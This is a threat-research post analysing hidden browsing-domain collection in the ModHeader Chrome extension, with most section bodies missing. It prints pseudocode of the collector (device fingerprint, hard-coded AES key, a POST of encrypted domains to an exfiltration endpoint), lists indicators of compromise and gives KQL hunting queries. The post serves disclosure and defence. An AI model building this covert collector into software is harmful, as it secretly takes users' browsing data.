Threat Research

Hidden Exfiltration Capability Discovered in a Trusted, 900,000-User Chrome Web store Extension 

Published: July 13, 2026
Experts:
  • Charlie Kelly

    Charlie Kelly

  • Joss Moor

  • anon

    Sebastian Lacatusu

  • anon

    Silas Bryant

Summary:
We found dormant surveillance functionality in a trusted Chrome Web Store extension with around 900,000 users, including the ability to collect, encrypt and potentially exfiltrate browsing-domain data. Our analysis explains how we discovered and verified it, and what security teams can do to detect related activity.

Update – 13th July 2026: Following our responsible disclosure, Google removed the ModHeader extension listing from the Chrome Web Store on Friday, 10th July. This reduces the risk of new installations from the official store, but organisations should still hunt for existing installations, review historical network activity, and remove the extension from managed and unmanaged browsers where present.

Research Highlights

  • Learn about how a legitimate, Web-Store-signed developer tool can carry a fully built surveillance pipeline that automated scanners still rate as “safe”.
  • Gain understanding into the technical anatomy of an encrypted browsing-history collector, from device fingerprinting to daily, jittered exfiltration.
  • Understand why a single hidden variable (an empty allow-list) is the only thing standing between “dormant” and “actively stealing detailed browsing information”
  • Learn about how we used Google’s own content-verification signatures to prove the malicious code was distributed through the official Chrome Web Store, not a sideloaded clone.
  • Develop insight into what open-source intelligence reveals about the operator infrastructure behind the collection, and why it exists.
  • Gain ready-to-run KQL hunting queries for the primary indicators of compromise.

Threat Overview

Background: Trust is the attack surface

Discovery

Technical breakdown

1. Permissions and reach

"host_permissions": ["<all_urls>"], 
"content_scripts": [{ "js": ["src/js/service/content_script_vite.js"], 
                      "matches": ["<all_urls>"] }], 
"permissions": ["alarms","contextMenus","storage","webRequest", 
                "declarativeNetRequest","scripting"]

2. The surveillance pipeline

fp     = SHA-256(current_timestamp)         // stable device fingerprint 
aesIv  = crypto.getRandomValues(12 bytes)   // per-device IV
key = importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE")
onVisit(url): 
    domain = extractDomain(url) 
    enc    = AES_GCM(key, domain, aesIv) 
    temp[enc] = (temp[enc] || 0) + 1
    MaxDomainCount = 1000
POST https://api.stanfordstudies.com/app/log 
Content-Type: application/json 
{ "data": <AES-GCM ciphertext of visited-domain map>, 
  "fp":   <device fingerprint>, 
  "browser": <browser id> }

3. The kill switch: dormant, not absent

onTabUpdated(tab): 
    browser = currentBrowser() 
    if allowList.indexOf(browser) === -1: return   // allowList is empty 
    ... 
    collectAndMaybeUpload(tab.url)

4. Active telemetry

https://www.extensions-hub.com/partners/installed/?name=ModHeader 
https://www.extensions-hub.com/partners/updated/?name=ModHeader 
https://www.extensions-hub.com/partners/uninstalled/?name=ModHeader

Proving it came from the store

item_id: idgpnmonknjnojddfkpgkljpfnnfcklj 
item_version: 7.0.18 
format: treehash (sha256, 4096-byte blocks) 
signatures: ["publisher", "webstore"] 
files: 37 entries, including 
   assets/src/background-94ad634d.js 
      -> B3BufSaXAwFXRoiXXCP_8_Xq-IFx9THvD-3__M7BLIM
assets/src/background-94ad634d.js         -> MATCH 
assets/src/js/service/content_script...   -> MATCH

The infrastructure behind it

stanfordstudies.com: the exfiltration back end

extensions-hub.com: the monetisation front

The bigger picture

Corroboration and historY

Why the scanners said “safe”

Indicators of compromise

Primary IOCs

Supporting artefacts

Domains:

  • stanfordstudies.com
  • extensions-hub.com

Subdomains:

  • api.stanfordstudies.com – exfiltration endpoint
  • devos.stanfordstudies.com – operator back end
  • devlog.stanfordstudies.com – operator back end
  • api.extensions-hub.com – advertising-partner retrieval

Shared host:

  • 3.147.61.167 – AWS us-east-2
  • api.stanfordstudies.com and api.extensions-hub.com resolve to this host

Related infrastructure:

  • dev-lb-672858631.us-east-2.elb.amazonaws.com – devos/devlog back end
  • 91.195.240.87 – historic A record, SEDO GmbH parking

Host artefacts:

  • IndexedDB store temp – AES-encrypted visited-domain map
  • IndexedDB store settings – device fingerprint, aesIv, schedule
  • Path fragment: chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb

Static markers:

  • AES-GCM key: aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE
  • Marker: mod盐header
  • Author: modhader@ – misspelled
  • Service worker treehash: B3BufSaXAwFXRoiXXCP_8_Xq-IFx9THvD-3__M7BLIM

Threat hunting: KQL queries 

1. Outbound connections to the exfiltration and telemetry domains (Defender)

let Lookback = 90d; 
let BadDomains = dynamic(["stanfordstudies.com", "extensions-hub.com"]); 
DeviceNetworkEvents 
| where Timestamp > ago(Lookback) 
| extend Host = tostring(parse_url(RemoteUrl).Host) 
| where Host has_any (BadDomains) or RemoteUrl has_any (BadDomains) or RemoteUrl has "/app/log" 
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessAccountName, 
          RemoteUrl, RemoteIP, RemotePort 
| order by Timestamp desc

2. Presence of the extension on disk (Defender)

let ExtensionId = "idgpnmonknjnojddfkpgkljpfnnfcklj"; 
DeviceFileEvents 
| where Timestamp > ago(90d) 
| where FolderPath has ExtensionId 
| summarize FirstSeen = min(Timestamp), LastSeen = max(Timestamp), 
            Files = make_set(FileName, 25) 
        by DeviceName, InitiatingProcessAccountName 
| order by LastSeen desc

3. Web proxy / firewall traffic to the IOC domains (Sentinel)

let BadDomains = dynamic(["stanfordstudies.com", "extensions-hub.com"]); 
CommonSecurityLog 
| where TimeGenerated > ago(90d) 
| where DestinationHostName has_any (BadDomains) or RequestURL has_any (BadDomains) 
| project TimeGenerated, DeviceVendor, SourceIP, SourceUserName, 
          DestinationHostName, RequestURL, DeviceAction, ApplicationProtocol 
| order by TimeGenerated desc

4. DNS resolution of the IOC domains (Sentinel)

let BadDomains = dynamic(["stanfordstudies.com", "extensions-hub.com"]); 
DnsEvents 
| where TimeGenerated > ago(90d) 
| where Name has_any (BadDomains) 
| project TimeGenerated, Computer, ClientIP, Name, IPAddresses 
| order by TimeGenerated desc

Impact

Responsible disclosure

Conclusion

Acknowledgements

MITRE ATT&CK

Our Latest Insights

Previous
Previous